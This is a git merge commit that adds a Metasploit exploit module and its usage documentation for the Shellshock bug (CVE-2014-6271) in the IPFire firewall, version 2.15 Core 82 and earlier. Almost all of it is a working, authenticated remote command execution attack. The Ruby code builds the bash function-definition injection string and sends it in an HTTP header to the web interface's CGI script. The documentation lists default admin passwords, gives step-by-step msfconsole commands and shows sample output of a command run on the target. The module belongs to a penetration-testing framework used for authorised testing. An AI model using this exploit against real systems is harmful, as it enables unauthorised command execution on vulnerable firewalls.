Merge remote-tracking branch 'upstream/pr/6924' into dev

documentation/modules/exploit/linux/http/ipfire_bashbug_exec.md

@@ -0,0 +1,42 @@
+## Vulnerable Application
+
+  Official Source: [ipfire](http://downloads.ipfire.org/releases/ipfire-2.x/2.15-core82/ipfire-2.15.i586-full-core82.iso)
+  Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
+
+## Verification Steps
+
+  1. Install the firewall
+  2. Start msfconsole
+  3. Do: ```use exploit/linux/http/ipfire_bashbug_exec```
+  4. Do: ```set rhost 10.10.10.10```
+  5. Do: ```set PASSWORD admin```
+  6. Do: ```set CMD ls```
+  7. Do: ```run```
+  8. You should see the output of the command that was run.
+
+## Options
+
+  **PASSWORD**
+
+  Password is set at install.  May be blank, 'admin', or 'ipfire'.
+  
+  **CMD**
+  
+  This is the command to run on the system.
+
+## Scenarios
+
+  Example of running the ID command
+  ```
+    msf > use exploit/linux/http/ipfire_bashbug_exec 
+    msf exploit(ipfire_bashbug_exec) > set PASSWORD admin
+    PASSWORD => admin
+    msf exploit(ipfire_bashbug_exec) > set rhost 192.168.2.202
+    rhost => 192.168.2.202
+    msf exploit(ipfire_bashbug_exec) > set CMD id
+    CMD => id
+    msf exploit(ipfire_bashbug_exec) > exploit
+    
+    [+] uid=99(nobody) gid=99(nobody) groups=16(dialout),23(squid),99(nobody)
+    [*] Exploit completed, but no session was created.
+  ```

modules/exploits/linux/http/ipfire_bashbug_exec.rb

@@ -0,0 +1,112 @@
+##
+## This module requires Metasploit: http://metasploit.com/download
+## Current source: https://github.com/rapid7/metasploit-framework
+###
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'          => 'IPFire Bash Environment Variable Injection (Shellshock)',
+        'Description'   => %q(
+          IPFire, a free linux based open source firewall distribution,
+          version <= 2.15 Update Core 82 contains an authenticated remote
+          command execution vulnerability via shellshock in the request headers.
+        ),
+        'Author'         =>
+          [
+            'h00die <mike@stcyrsecurity.com>', # module
+            'Claudio Viviani'                  # discovery
+          ],
+        'References'     =>
+          [
+            [ 'EDB', '34839' ],
+            [ 'CVE', '2014-6271']
+          ],
+        'License'        => MSF_LICENSE,
+        'Platform'       => %w( linux unix ),
+        'Privileged'     => false,
+        'DefaultOptions' =>
+          {
+            'SSL' => true,
+            'PAYLOAD' => 'cmd/unix/generic'
+          },
+        'Arch'           => ARCH_CMD,
+        'Payload'        =>
+          {
+            'Compat' =>
+              {
+                'PayloadType' => 'cmd',
+                'RequiredCmd' => 'generic'
+              }
+          },
+        'Targets'        =>
+          [
+            [ 'Automatic Target', {}]
+          ],
+        'DefaultTarget'  => 0,
+        'DisclosureDate' => 'Sep 29 2014'
+      )
+    )
+
+    register_options(
+      [
+        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
+        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
+        Opt::RPORT(444)
+      ], self.class
+    )
+  end
+
+  def check
+    begin
+      res = send_request_cgi(
+        'uri'       => '/cgi-bin/index.cgi',
+        'method'    => 'GET'
+      )
+      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
+      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
+      /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
+
+      if version && update && version == "2.15" && update.to_i < 83
+        Exploit::CheckCode::Appears
+      else
+        Exploit::CheckCode::Safe
+      end
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
+    end
+  end
+
+  #
+  # CVE-2014-6271
+  #
+  def cve_2014_6271(cmd)
+    %{() { :;}; /bin/bash -c "#{cmd}" }
+  end
+
+  def exploit
+    begin
+      payload = cve_2014_6271(datastore['CMD'])
+      vprint_status("Exploiting with payload: #{payload}")
+      res = send_request_cgi(
+        'uri'       => '/cgi-bin/index.cgi',
+        'method'    => 'GET',
+        'headers'   => { 'VULN' => payload }
+      )
+
+      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
+      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
+      /<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
+      print_good(output) unless output.nil?
+
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
+    end
+  end
+end